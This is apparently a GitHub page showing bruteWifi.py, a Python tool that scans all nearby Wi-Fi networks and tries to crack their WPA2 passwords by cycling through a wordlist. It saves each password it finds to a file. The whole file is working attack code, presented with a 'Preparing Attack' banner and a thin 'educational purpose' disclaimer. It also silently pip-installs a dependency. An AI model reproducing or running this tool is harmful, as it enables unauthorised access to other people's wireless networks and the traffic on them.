-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathbruteWifi.py
167 lines (137 loc) · 4.57 KB
/
bruteWifi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
import os
import sys
import time
import platform
from scripts.banner import clear, banner
from scripts.sprint import sprint
from scripts.colors import *
try:
import pywifi
except ModuleNotFoundError:
os.system("pip install pywifi")
from pywifi import const
def welcome_screen():
"""
Shows the welcome screen
"""
check_root()
sprint(f"\n{red}Note: {cyan}This tool is made by Xpert for educational purpose...")
sprint(f"\n{green}Preparing Attack...")
time.sleep(2)
clear()
banner()
def show_help():
"""
Show help and exit
"""
banner()
print(
f"\t{red}-> {cyan}Usage: {yellow}python3 bruteWifi.py [wordlist]\n"
f"\t{red}-> {cyan}python3 bruteWifi.py {yellow}(it wil use default wordlist)"
)
exit()
def check_root():
"""
Checks for admin privileges
"""
if os.getuid() == 0:
pass
else:
if "aarch64" in platform.machine():
sys.exit("Run this tool as root in Termux.")
elif "Linux" in platform.platform():
sys.exit("You need to be root.")
elif "Windows" in platform.platform():
sys.exit(
"I am developed to work on Windows. Dont worry I'll take care of next!"
)
def scan(face):
face.scan()
return face.scan_results()
def main():
wifi = pywifi.PyWiFi()
inface = wifi.interfaces()[0]
scanner = scan(inface)
num = len(scanner)
print(f"{red}Number of wifi found: {random_color}{str(num)}")
input(f"{yellow}\nPress enter to start___")
for i, x in enumerate(scanner):
res = test(num - i, inface, x, passwords, ts)
if res:
print(random_color + "=" * 20)
print(f"{red}Password found : {cyan}{str(res)}\n")
with open("avail_wifis.txt", "a") as f:
f.write(str(res) + "\n")
print(random_color + "=" * 20)
def test(i, face, x, key, ts):
wifi_name = x.bssid if len(x.ssid) > len(x.bssid) else x.ssid
if wifi_name in tried:
print(
f"{red}[!] {yellow}Password tried -- {str(wifi_name)}\n{green}Password is known!"
)
return False
print(f"{random_color}Trying to connect to wifi {str(wifi_name)}")
for n, password in enumerate(key):
if f"{wifi_name} -- {password}" in found:
print(f"{red}Password already found +_+")
continue
else:
with open("tried_passwords.txt", "a") as f:
f.write(str(wifi_name) + "--" + str(password) + "\n")
tried.append(str(wifi_name) + "--" + str(password))
print(
f"{random_color}Trying password {red}{str(password)} "
f"{cyan}{str(n)} / {green}{str(len(key))}"
)
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
# Remove all hotspot configurations
face.remove_all_network_profiles()
tmp_profile = face.add_network_profile(profile)
face.connect(tmp_profile)
code = 10
t1 = time.time()
# Cyclic refresh status, if set to 0, the password is wrong,
# if timeout, proceed to the next
while code != 0:
time.sleep(0.1)
code = face.status()
now = time.time() - t1
if now > ts:
break
if code == 4:
face.disconnect()
return str(wifi_name) + "--" + str(password)
return False
if __name__ == "__main__":
if len(sys.argv) == 2:
if sys.argv[1] == "--help":
show_help()
passwd_list = sys.argv[1]
else:
passwd_list = "passWords.txt"
welcome_screen()
passwords = [
x.strip("\n")
for x in open(passwd_list, "r", encoding="UTF-8", errors="ignore").readlines()
]
tried = [
x.strip("\n").split("--")[0] for x in open("avail_wifis.txt", "a+").readlines()
]
found = [x.strip("\n") for x in open("tried_passwords.txt", "a+").readlines()]
ts = 15
running = True
while running:
main()
# perform another wifi hack?
ch = input(f"{random_color}{'Do you want to continue? (y/n): '}").lower()
if ch == "no" or ch == "n":
clear()
exit(0)
else:
clear()
banner()